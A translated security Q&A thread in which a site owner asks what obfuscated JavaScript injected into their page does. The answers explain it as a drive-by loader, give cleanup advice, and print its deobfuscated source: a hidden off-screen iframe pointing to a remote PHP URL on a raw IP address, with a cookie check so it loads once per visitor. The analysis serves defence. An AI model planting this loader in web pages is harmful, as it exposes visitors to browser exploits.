Serve aiuto per decifrare codice JS dannoso

2

speravo che qualcuno potesse darmi una mano con la decifrazione di questo Javascript offuscato aggiunto a una pagina web che possiedo. Dato che il codice è abbastanza grande, mi collegherò solo ai messaggi pastebin, ma se necessario posso aggiungerli al post stesso. Non sono abbastanza sicuro delle migliori pratiche e dell'etichetta in merito alla pubblicazione di codice dannoso, quindi fatemi sapere se questo non è corretto.

Ecco il codice dopo averlo eseguito tramite uno strumento di stampa JS pretty: link

Sono riuscito a decodificare l'array esadecimale dal codice sopra in questo: link

Qualcuno può illuminarmi su cosa sta facendo esattamente questo codice? E il modo migliore per evitare che accada di nuovo in futuro?

Grazie!

    
posta kin3tik 28.08.2013 - 10:24
fonte

2 risposte

3

Aggiunge un iframe alla tua pagina che punta ad alcuni exploit del browser per infettare chiunque visiti il tuo sito. Quindi imposta un cookie che gli dice di non riprovare, quindi mette l'iframe nella pagina solo la prima volta che lo accedi (il che lo rende un po 'meno invadente).

Il solito modo in cui questi vengono aggiunti ai tuoi file è che hai perso la password per l'accesso amministrativo al server, dopo essere stato infettato da exploit del browser. In tal caso, il corso dell'azione è (1) scansionare tutte le macchine client che hanno avuto accesso al sito (con più AV, poiché gli AV sono inaffidabili); qualsiasi macchina infetta dovrebbe essere reinstallata da zero (la rimozione AV è molto inaffidabile); (2) cambiare le password; (3) se stai usando FTP, smetti di farlo; (4) eseguire il backup di tutti i dati, cancellare il server, ripristinare il codice da un buon backup / controllo sorgente conosciuto.

Sono possibili altri tipi di compromissione (ad es. applicazioni web vulnerabili implementate - controlla i log per l'accesso sospetto e assicurati che tutte le applicazioni siano aggiornate), ma il compromesso delle credenziali dell'account FTP è la fonte più comune di questo tipo di intrusione oggi.

    
risposta data 28.08.2013 - 10:47
fonte
2

Ecco il codice sorgente per lo studio. Ho aggiunto alcuni commenti e variabili rinominate. La sorgente per l'iframe è inattiva o invia un exploit solo condizionatamente. Non ero in grado di accedervi utilizzando un proxy o direttamente con uno strumento non-browser. È possibile che sia possibile filtrare agenti utente, possibile targeting per IE vecchio o determinati telefoni cellulari.

Sembra codificato da un utente inesperto con uno strumento, perché non nasconde le variabili all'interno della stringa esadecimale che aggiungerebbe un ulteriore livello di offuscamento e ridurrebbe le dimensioni. Inoltre, eval appare raramente in testo normale.

function loadFrame() {
    var static = 'ajax';
    var controller = 'index.php';
    var iframe = document.createElement('iframe');

    // set the source to some evil script
    // it may use client detection, as all I can see is  
    iframe.src = 'http://64.78.1.202/tM9c7bCK.php';
    iframe.style.position = 'absolute';
    iframe.style.color = '563';
    iframe.style.height = '563px';
    iframe.style.width = '563px';
    iframe.style.left = '1000563';
    iframe.style.top = '1000563';

    // if the frame doesn't already exist load it
    if (!document.getElementById('hmbl')) {
        document.write('<p id=\'hmbl\' class=\'loadFrame\' ></p>');
        document.getElementById('hmbl').appendChild(iframe);
    }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires="
        + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) && (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}

if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {
    } else {
        SetCookie('visited_uq', '55', '1', '/');

        loadFrame();
    }
}
    
risposta data 28.08.2013 - 11:11
fonte

Leggi altre domande sui tag